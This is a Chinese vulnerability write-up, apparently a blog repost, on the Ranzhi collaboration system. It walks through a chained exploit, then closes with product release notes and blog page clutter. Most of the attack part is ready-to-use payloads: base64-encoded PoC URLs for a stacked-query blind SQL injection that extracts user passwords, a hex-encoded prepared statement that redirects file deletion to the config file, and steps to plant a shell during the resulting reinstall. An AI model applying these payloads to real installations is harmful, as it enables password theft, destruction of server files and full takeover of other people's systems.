然之协同系统漏洞利用汇总

Author:Vspiders
首发地址:https://xianzhi.aliyun.com/forum/topic/2135

前言

前段时间在做然之协同系统代码审计,这里做个简单的总结。

第一弹:SQL注入漏洞

0x01 注入漏洞分析

问题出现在/lib/base/dao/dao.class.php文件中的orderBy函数中,

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', '', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';//截limit
    $orders = trim($orders);
    …………
    $order = join(',', $orders) . ' ' . $limit; //直接拼接

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

简单分析一下orderBy函数,首先是把输入的$order变量过滤掉|SOH_字符,然后查看输入变量中是否存在limit字符,如果存在的话,对其进行截断,字符limit前形成$orders变量,limit字符后的内容变成$limit变量,问题就出在这里,之后并没有对$limit变量进行过滤,拼接到$orders变量之后,然后直接带入查询,并且然之协同框架支持多语句查询,因此可以构造多语句进行基于时间的SQL盲注注入。
但是这里如果跑数据库内容会出现一个问题,由于输入变量过滤掉了_字符,并且这个字符是数据库中表必有的。不过这里可以利用mysql的存储过程进行绕过。
存储过程的利用形式如下:

set @query=0x…;   (注入语句的ASCII值)
prepare stmt from @query;
execute stmt;
0x02 漏洞利用

这里以最新版ranzhi4.6.1为例
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html
此处会调用orderby函数。

Step 1:

构造原始param :

{"orderBy":"id limit 0,1;select if(1=2,1,sleep(2))#" }

Base64加密:

eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

POC为:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

image.png

此时会延时等待2秒,但是ranzhi数据库的表名中存在下划线,所以还不能直接利用该payload进行爆破。引入存储机制。

Step 2:

注入语句:

select if(30<ord(substr(password,1,1)),sleep(2),1) from sys_user

十六进制:

0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572

构造原始param :

{"orderBy":"id limit 0,1; set @query=0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572;prepare stmt from @query;execute stmt;" }

Base64加密后最终POC:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3MzY1NmM2NTYzNzQyMDY5NjYyODMzMzAzYzZmNzI2NDI4NzM3NTYyNzM3NDcyMjg3MDYxNzM3Mzc3NmY3MjY0MmMzMTJjMzEyOTI5MmM3MzZjNjU2NTcwMjgzMjI5MmMzMTI5MjA2NjcyNmY2ZDIwNzM3OTczNWY3NTczNjU3MjtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==
0x03 脚本演示

这里写个简单的脚本跑了一下,效果还不错,如下

image.png


第二弹:后台任意文件删除

从注入漏洞中,不难发现可以进行多行SQL语句执行,因此能控制数据库表里的内容。

0x01 漏洞分析

任意文件删除的触发点有很多,这里以一个简单的利用点为例:

public function getByID($fileID)
{
    $file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch();

    $realPathName   = $this->getRealPathName($file->pathname);
    $file->realPath = $this->savePath . $realPathName;
    $file->webPath  = $this->webPath . $realPathName;

    return $this->processFile($file);
}
…
public function delete($fileID, $null = null)
{
    $file = $this->getByID($fileID);
    if(file_exists($file->realPath)) unlink($file->realPath);
    $this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec();
    return !dao::isError();
}

逻辑很简单,根据fileID获取文件信息,然后判断存在该文件则删除。其中获取文件信息是从TABLE_FILE数据表中查询,即对应为sys_file表,因为我们可以通过SQL语句修改控制sys_file表,因此就可以控制任意文件删除。

0x02 漏洞利用

首先后台上传一个图片文件。

image.png

注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。

image.png

ID为1,利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句:

update sys_file set pathname='../../../config/my.php' where id=1

构造param:

{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }

最终Payload:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==

然后访问http://127.0.0.1/ranzhi/www/sys/file-delete-1
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后,该系统将会重新安装。


第三弹:安装时Getshell

不到shell不罢休。

0x01 漏洞解析

当进入了安装环节,安装时并未进行过滤输入字符,所有的配置信息都会直接写入my.php文件中,利用该点可以直接向配置文件中写入一句话getshell。

0x02 漏洞利用

进入安装配置界面:
http://127.0.0.1/ranzhi/www/sys/install.php

image.png

如果知道对方数据库密码更好,如果不知道,可以使用远程Mysql服务器。保存之后便会触发。

image.png


协同管理系统专业版简介 协同管理系统由客户管理(crm)、日常办公(oa)、现金记账(cash)、团队分享(team)和应用导航(ips)五大模块组成,主要面向中小团队的企业内部管理。和市面上其他的产品相比,协同更专注于提供一体化、精简的解决方案。 协同管理系统 v2.4 专业版 更新日志 1、新增考勤明细导入功能 2、ldap导入用户增加和本地帐号关联的功能 3、新增发票管理的功能: 客户增加税务信息操作 在客户和合同列表页面增加发票入口 在客户管理和现金流应用里面增加发票模块 实现发票的申请、编辑、查看,开票、快递、作废、冲红功能 4、完善阿米巴应用的功能: 编辑交易或者查看交易详情时把交易方的信息也显示出来 交易增加搜索功能 增加批量创建交易的功能 浏览阿米巴各模块功能时先检查是否设置了阿米巴部门和科目 阿米巴的组织结构图增加显示级别控制按钮 是否只显示汇总数据记录状态 默认只显示汇总数据报表 阿米巴报表去掉重叠的表格边框 阿米巴报表增加隔行变色功能 阿米巴报表调整颜色呈现 将分摊支出和分配收入合并为规则 调整阿米巴交易导航条的布局 待确认交易列表显示所有月份的数据 重构阿米巴报表中获取工资数据的逻辑 批量创建预算和交易界面增加提示 5、优化细节修复bug: 添加待办时待办类型加上项目任务、订单沟通、客户沟通 开启多级审批时,取消部门经理与其他审批人为同一人时,提示审批人重复的限制 修复进销存应用下产品-仓库,点击仓库报错的问题 修复创建报销时,有上传附件的权限但是不显示附件输入框的问题 修复工作流动作触发条件功能字段值显示异常的问题 修复工作流动作标签拖动无效的问题 修复现金记账报表功能按收入和支出科目统计不显示饼状图的问题 修复之集成禅道 后无法同步禅道中的任务和bug的问题 移动端客户管理售后模块创建问题增加必填项标识 优化IOS10.2,无网络登录时提示内容 安卓版客户端名称由之改为之专业版 补充历史记录对应动作的语言项 协同管理系统登录界面 协同管理系统后台管理 登录路径:域名//www/sys/index.php 用户与密码:admin(安装时可设置) 后台页面: 相关阅读 同类推荐:站长常用源码
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值